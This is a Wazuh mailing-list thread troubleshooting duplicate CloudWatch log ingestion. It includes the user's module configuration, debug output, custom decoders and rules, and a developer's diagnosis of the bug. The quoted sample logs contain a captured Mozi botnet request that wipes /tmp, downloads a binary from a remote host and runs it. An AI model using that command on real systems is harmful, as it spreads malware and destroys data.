Duplicate Cloudwatch logs

Marc Bonoan

unread,

Aug 27, 2021, 9:21:26 AM8/27/21

to Wazuh mailing list

I have set up wazuh to pull cloudwatch logs but every time it runs (5 minutes) it pulls in all the logs and I would end up with the same log entry every 5 minutes. Is there a way so that I only get new logs and not keep having duplicates pulled in?

venkat swaminathan

unread,

Aug 27, 2021, 11:58:39 AM8/27/21

to Marc Bonoan, Wazuh mailing list

Can u explain more about the logs? How many log stream it has?

On Fri, 27 Aug 2021, 14:21 Marc Bonoan, <marc....@performanceadvantage.ca> wrote:

I have set up wazuh to pull cloudwatch logs but every time it runs (5 minutes) it pulls in all the logs and I would end up with the same log entry every 5 minutes. Is there a way so that I only get new logs and not keep having duplicates pulled in?

--
You received this message because you are subscribed to the Google Groups "Wazuh mailing list" group.
To unsubscribe from this group and stop receiving emails from it, send an email to wazuh+un...@googlegroups.com.
To view this discussion on the web visit https://groups.google.com/d/msgid/wazuh/ec3e143c-5127-4865-9f26-53d2bef2a486n%40googlegroups.com.

Marc Bonoan

unread,

Aug 27, 2021, 12:01:51 PM8/27/21

to venkat swaminathan, Wazuh mailing list

Here is a screenshot of the logs. Once a new log comes in, it keeps getting duplicated everytime the wodle runs which is every 5 minutes. Ive already confirmed that the logs are not duplicated the cloudwatch logstream itself. There is only one logstream as well.

--

Marc Bonoan

IT Manager

venkat swaminathan

unread,

Aug 27, 2021, 12:06:27 PM8/27/21

to Marc Bonoan, Wazuh mailing list

Have u setup any custom decoder to parse these logs?? If yes can you post your decoder and rule information here. It will be helpful for wazuh support team to address this issue

carlos...@wazuh.com

unread,

Aug 30, 2021, 4:22:15 AM8/30/21

to Wazuh mailing list

Hello,

We are currently investigating this issue, but have not been able to replicate it yet. Could you please provide us with the following information? This would help us to be able to replicate the bug and ultimately fix it.

Please, provide us with:

The Wazuh version you are using.
If the module is running on a Wazuh agent or a Wazuh manager.
The configuration of the module you are using. Remember to remove any sensitive information, such as credentials if present.
The number of logstreams available on your log group

On the other hand, in case you haven't already done so, I recommend you to enable modulesd debug mode and check the ossec.log to see if there is any error or warning message related to the AWS module. You can easily enable it by adding the following line to the {wazuh-path}/etc/local_internal_options.conf file:

wazuh_modules.debug=2

After that, restart the wazuh service and look for AWS related messages in the {wazuh-path}/logs/ossec.log. Please, run the following command for a few minutes after restarting and paste here the output, removing any sensitive information if needed:

tail -f {wazuh-path}/logs/ossec.log | grep aws

Don't forget to replace {wazuh-path} with the path you have Wazuh installed on. By default, it is /var/ossec/.

Finally, it would be very helpful if you could share with us an example log extracted from one of those logstreams, as well as the custom decoder/rules you are using in case you created your own ones. Make sure that you remove sensitive information from the log, as well as that it is one of the logs that generate duplicate alerts.

With this information we may be able to help you further.

Marc Bonoan

unread,

Sep 2, 2021, 11:51:14 AM9/2/21

to Wazuh mailing list

The Wazuh version you are using.

v4.1.5

If the module is running on a Wazuh agent or a Wazuh manager.

Wazuh manager

The configuration of the module you are using. Remember to remove any sensitive information, such as credentials if present.

<run_on_start>yes</run_on_start>

<skip_on_error>yes</skip_on_error>

<aws_profile>default</aws_profile>

<aws_log_groups>/sample/log/group</aws_log_groups>

<access_key>RANDOMKEY</access_key>

<secret_key>RANDOMKEY</secret_key>

<regions>ca-central-1</regions>

</service>

</wodle>

The number of logstreams available on your log group

1

Debug did not provide anything relevant. It was just showing me that the logs are being generated(duplicates)everytime it is ran

2021/08/30 13:51:05 wazuh-modulesd:aws-s3[4447] wm_aws.c:520 at wm_aws_run_service(): DEBUG: Launching S3 Command: /var/ossec/wodles/aws/aws-s3 --service cloudwatchlogs --access_key RANDOMKEY--secret_key RANDOMKEY--aws_profile default --regions ca-central-1 --aws_log_groups /sample/log/group --debug 2 --skip_on_error

2021/08/30 13:51:06 wazuh-modulesd:aws-s3[4447] wm_aws.c:561 at wm_aws_run_service(): DEBUG: Service: cloudwatchlogs - OUTPUT: DEBUG: +++ Debug mode on - Level: 2

DEBUG: The message is "2021 Aug 30 07:17:06 EXPRESS: {"level":"error","label":"EXPRESS","timestamp":"2021 Aug 30 07:17:06","message":"110.125.39.87 - - [30/Aug/2021:07:17:06 +0000] \"GET /shell?cd+/tmp;rm+-rf+*;wget+http://110.155.49.87:44516/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1\" 404 144 \"-\" \"Hello, world\"","environment":"production","meta":{"environment":"production"}}"

DEBUG: The message is "2021 Aug 30 11:02:28 EXPRESS: {"level":"error","label":"EXPRESS","timestamp":"2021 Aug 30 11:02:28","message":"1.32.148.125 - - [30/Aug/2021:11:02:28 +0000] \"GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1\" 404 144 \"-\" \"Hello, world\"","environment":"production","meta":{"environment":"production"}}"

2021/08/30 13:57:04 wazuh-modulesd:aws-s3[4447] wm_aws.c:520 at wm_aws_run_service(): DEBUG: Launching S3 Command: /var/ossec/wodles/aws/aws-s3 --service cloudwatchlogs --access_key RANDOMKEY--secret_key RANDOMKEY--aws_profile default --regions ca-central-1 --aws_log_groups /sample/log/group --debug 2 --skip_on_error

2021/08/30 13:57:06 wazuh-modulesd:aws-s3[4447] wm_aws.c:561 at wm_aws_run_service(): DEBUG: Service: cloudwatchlogs - OUTPUT: DEBUG: +++ Debug mode on - Level: 2

DEBUG: The message is "2021 Aug 30 07:17:06 EXPRESS: {"level":"error","label":"EXPRESS","timestamp":"2021 Aug 30 07:17:06","message":"110.125.39.87 - - [30/Aug/2021:07:17:06 +0000] \"GET /shell?cd+/tmp;rm+-rf+*;wget+http://110.155.49.87:44516/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1\" 404 144 \"-\" \"Hello, world\"","environment":"production","meta":{"environment":"production"}}"

DEBUG: The message is "2021 Aug 30 11:02:28 EXPRESS: {"level":"error","label":"EXPRESS","timestamp":"2021 Aug 30 11:02:28","message":"1.32.148.125 - - [30/Aug/2021:11:02:28 +0000] \"GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1\" 404 144 \"-\" \"Hello, world\"","environment":"production","meta":{"environment":"production"}}"

#####################

RULES

#####################

<program_name>EXPRESS</program_name>

<description>Express logs - Parent</description>

</rule>

<if_sid>100200</if_sid>

<description>EXPRESS info logs</description>

</rule>

<if_sid>100200</if_sid>

<field name="cr_level">debug</field>

<description>EXPRESS debug logs</description>

</rule>

<if_sid>100200</if_sid>

<field name="cr_user_agent">ELB-HealthChecker/2.0</field>

<description>ELB-HealthChecker</description>

</rule>

<if_sid>100200</if_sid>

<field name="cr_level">error</field>

<regex negate="yes">ELB-HealthChecker/2.0</regex>

<description>EXPRESS error logs</description>

</rule>

</group>

<program_name>MIXPANEL_SERVICE</program_name>

<description>MIXPANEL_SERVICE logs - Parent</description>

</rule>

<if_sid>100300</if_sid>

<description>MIXPANEL_SERVICE info logs</description>

</rule>

<if_sid>100300</if_sid>

<field name="cr_user_agent">debug</field>

<description>MIXPANEL_SERVICE debug logs</description>

</rule>

<if_sid>100300</if_sid>

<field name="cr_user_agent">error</field>

<description>MIXPANEL_SERVICE error logs</description>

</rule>

</group>

<program_name>SERVICE_NOTIFICATIONS</program_name>

<description>SERVICE_NOTIFICATIONS logs - Parent</description>

</rule>

<if_sid>100400</if_sid>

<description>SERVICE_NOTIFICATIONS info logs</description>

</rule>

<if_sid>100400</if_sid>

<field name="cr_user_agent">debug</field>

<description>SERVICE_NOTIFICATIONS debug logs</description>

</rule>

<if_sid>100400</if_sid>

<field name="cr_user_agent">error</field>

<description>SERVICE_NOTIFICATIONS error logs</description>

</rule>

</group>

<program_name>DOCUMENT_COLLABORATION</program_name>

<description>DOCUMENT_COLLABORATION logs - Parent</description>

</rule>

<if_sid>100500</if_sid>

<description>DOCUMENT_COLLABORATION info logs</description>

</rule>

<if_sid>100500</if_sid>

<field name="cr_user_agent">debug</field>

<description>DOCUMENT_COLLABORATION debug logs</description>

</rule>

<if_sid>100500</if_sid>

<field name="cr_user_agent">error</field>

<description>DOCUMENT_COLLABORATION error logs</description>

</rule>

</group>

<program_name>SENDGRID_EMAIL_WORKER</program_name>

<description>SENDGRID_EMAIL_WORKER logs - Parent</description>

</rule>

<if_sid>100600</if_sid>

<description>SENDGRID_EMAIL_WORKER info logs</description>

</rule>

<if_sid>100600</if_sid>

<field name="cr_user_agent">debug</field>

<description>SENDGRID_EMAIL_WORKER debug logs</description>

</rule>

<if_sid>100600</if_sid>

<field name="cr_user_agent">error</field>

<description>SENDGRID_EMAIL_WORKER error logs</description>

</rule>

</group>

<program_name>ZENDESK</program_name>

<description>ZENDESK logs - Parent</description>

</rule>

<if_sid>100700</if_sid>

<description>ZENDESK info logs</description>

</rule>

<if_sid>100700</if_sid>

<field name="cr_user_agent">debug</field>

<description>ZENDESK debug logs</description>

</rule>

<if_sid>100700</if_sid>

<field name="cr_user_agent">error</field>

<description>ZENDESK error logs</description>

</rule>

</group>

#################

Decoders

#################

<!--

###################################################################################

EXPRESS decoder

###################################################################################

-->

<program_name>EXPRESS</program_name>

</decoder>

<parent>cr_express</parent>

<regex>"level":"(\S+)"</regex>

<order>cr_level</order>

</decoder>

<parent>cr_express</parent>

<regex>"label":"(\S+)"</regex>

<order>cr_label</order>

</decoder>

<parent>cr_express</parent>

<regex>"environment":"(\S+)"</regex>

<order>cr_environment</order>

</decoder>

<parent>cr_express</parent>

<regex>"message":"(\.*)",</regex>

<order>cr_message</order>

</decoder>

<parent>cr_express</parent>

<regex>"message":"(\d+.\d+.\d+.\d+) \S+ \S+ [(\d+/\w+/\d+:\S+) \S+] \\"(\S+) (\S+) (\S+)\\" (\S+) (\S+) \\"\S+\\" \\"(\.+)\\""</regex>

<order>srcip,cr_request_date,cr_request_method,cr_request_url,cr_request_protocol,cr_response_code,cr_response_size,cr_user_agent</order>

</decoder>

<!--

###################################################################################

Service_NOTIFICATIONS decoder

###################################################################################

-->

<program_name>SERVICE_NOTIFICATIONS</program_name>

</decoder>

<parent>cr_service_notifications</parent>

<regex>"level":"(\S+)"</regex>

<order>cr_level</order>

</decoder>

<parent>cr_service_notifications</parent>

<regex>"label":"(\S+)"</regex>

<order>cr_label</order>

</decoder>

<parent>cr_service_notifications</parent>

<regex>"environment":"(\S+)"</regex>

<order>cr_environment</order>

</decoder>

<parent>cr_service_notifications</parent>

<regex>"message":"(\.*)",</regex>

<order>cr_message</order>

</decoder>

<!--

###################################################################################

MIXPANEL_SERVICE decoder

###################################################################################

-->

<program_name>MIXPANEL_SERVICE</program_name>

</decoder>

<parent>cr_mixpanel_service</parent>

<regex>"level":"(\S+)"</regex>

<order>cr_level</order>

</decoder>

<parent>cr_mixpanel_service</parent>

<regex>"label":"(\S+)"</regex>

<order>cr_label</order>

</decoder>

<parent>cr_mixpanel_service</parent>

<regex>"environment":"(\S+)"</regex>

<order>cr_environment</order>

</decoder>

<parent>cr_mixpanel_service</parent>

<regex>"message":"(\.*)",</regex>

<order>cr_message</order>

</decoder>

<!--

###################################################################################

DOCUMENT_COLLABORATION decoder

###################################################################################

-->

<program_name>DOCUMENT_COLLABORATION</program_name>

</decoder>

<parent>cr_document_collaboration</parent>

<regex>"level":"(\S+)"</regex>

<order>cr_level</order>

</decoder>

<parent>cr_document_collaboration</parent>

<regex>"label":"(\S+)"</regex>

<order>cr_label</order>

</decoder>

<parent>cr_document_collaboration</parent>

<regex>"environment":"(\S+)"</regex>

<order>cr_environment</order>

</decoder>

<parent>cr_document_collaboration</parent>

<regex>"message":"(\.*)",</regex>

<order>cr_message</order>

</decoder>

<!--

###################################################################################

SENDGRID_EMAIL_WORKER decoder

###################################################################################

-->

<program_name>SENDGRID_EMAIL_WORKER</program_name>

</decoder>

<parent>cr_sendgrid_email_worker</parent>

<regex>"level":"(\S+)"</regex>

<order>cr_level</order>

</decoder>

<parent>cr_sendgrid_email_worker</parent>

<regex>"label":"(\S+)"</regex>

<order>cr_label</order>

</decoder>

<parent>cr_sendgrid_email_worker</parent>

<regex>"environment":"(\S+)"</regex>

<order>cr_environment</order>

</decoder>

<parent>cr_sendgrid_email_worker</parent>

<regex>"message":"(\.*)",</regex>

<order>cr_message</order>

</decoder>

<!--

###################################################################################

ZENDESK decoder

###################################################################################

-->

<program_name>ZENDESK</program_name>

</decoder>

<parent>cr_zendesk</parent>

<regex>"level":"(\S+)"</regex>

<order>cr_level</order>

</decoder>

<parent>cr_zendesk</parent>

<regex>"label":"(\S+)"</regex>

<order>cr_label</order>

</decoder>

<parent>cr_zendesk</parent>

<regex>"environment":"(\S+)"</regex>

<order>cr_environment</order>

</decoder>

<parent>cr_zendesk</parent>

<regex>"message":"(\.*)",</regex>

<order>cr_message</order>

</decoder>

#####################

END OF DECODERS
#####################

Here is a sample of the log

Aug 30 07:17:06 EXPRESS: {"level":"error","label":"EXPRESS","timestamp":"2021 Aug 30 07:17:06","message":"110.125.39.87 - - [30/Aug/2021:07:17:06 +0000] \"GET /shell?cd+/tmp;rm+-rf+*;wget+http://110.155.49.87:44516/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1\" 404 144 \"-\" \"Hello, world\"","environment":"production","meta":{"environment":"production"}}"

Marc Bonoan

unread,

Sep 7, 2021, 3:22:53 PM9/7/21

to Wazuh mailing list

Any luck? its like its not skipping previously parsed logs. I just checked this morning. There should only be around 570 log entries based on the raw logs(stored in cloudwatch) that is coming in but it I have around 60k logs in Kibana

Marc Bonoan

unread,

Sep 7, 2021, 4:11:31 PM9/7/21

to Wazuh mailing list

Some findings as well

While tailing the cloudwatch logs in ossec.log with modules debug turned on.

DEBUG: Getting data from DB for log stream "server" in log group "/sample/log/log"

DEBUG: Token: "f/363735205732001427438123761832438562171908482369454081", start_time: "1627430400000", end_time: "1630972800000"

DEBUG: Getting CloudWatch logs from log stream "server" in log group "/sample/log/log" using token "None", start_time "1630972800000" and end_time "None"

2021/09/07 19:57:27 wazuh-modulesd:aws-s3[5591] wm_aws.c:561 at wm_aws_run_service(): DEBUG: Service: cloudwatchlogs - OUTPUT: DEBUG: +++ Debug mode on - Level: 2

DEBUG: +++ Getting alerts from "ca-central-1" region.

DEBUG: only logs: 1630972800000

DEBUG: Getting log streams for "/sample/log/log" log group

DEBUG: Found "server" log stream in /sample/log/log

DEBUG: Getting data from DB for log stream "server" in log group "/sample/log/log"

DEBUG: Token: "f/363735205732001427438123761832438562171908482369454081", start_time: "1627430400000", end_time: "1630972800000"

DEBUG: Getting CloudWatch logs from log stream "server" in log group "/sample/log/log" using token "None", start_time "1630972800000" and end_time "None"

DEBUG: +++ Sending events to Analysd...

DEBUG: Getting CloudWatch logs from log stream "server" in log group "/sample/log/log" using token "f/363735205732001427438123761832438562171908482369454081", start_time "1630972800000" and end_time "None"

DEBUG: Saving data for log group "/sample/log/log" and log stream "server".

DEBUG: The saved values are "{'token': 'f/363735205732001427438123761832438562171908482369454081', 'start_time': 1627430400000, 'end_time': 1630972800000}"

DEBUG: Some data already exists on DB for that key. Updating their values...

DEBUG: Purging the BD

DEBUG: Getting log streams for "/sample/log/log" log group

DEBUG: Found "server" log stream in /sample/log/log

DEBUG: committing changes and closing the DB

The start_time is the same every time

Gonzalo Abril Paniza

unread,

Sep 9, 2021, 6:34:02 AM9/9/21

to Wazuh mailing list

Hi Marc,

I have already found the cause of the bug, as you can see in this issue, and I have also submitted a pull request with a fix for it. This fix should ship with one of the next releases.

In the meantime, maybe you'd find it interesting to change the interval at which the module is executed from every 5 minutes to at least every hour to minimize as much as possible the number of CloudWatch Logs entries duplicated.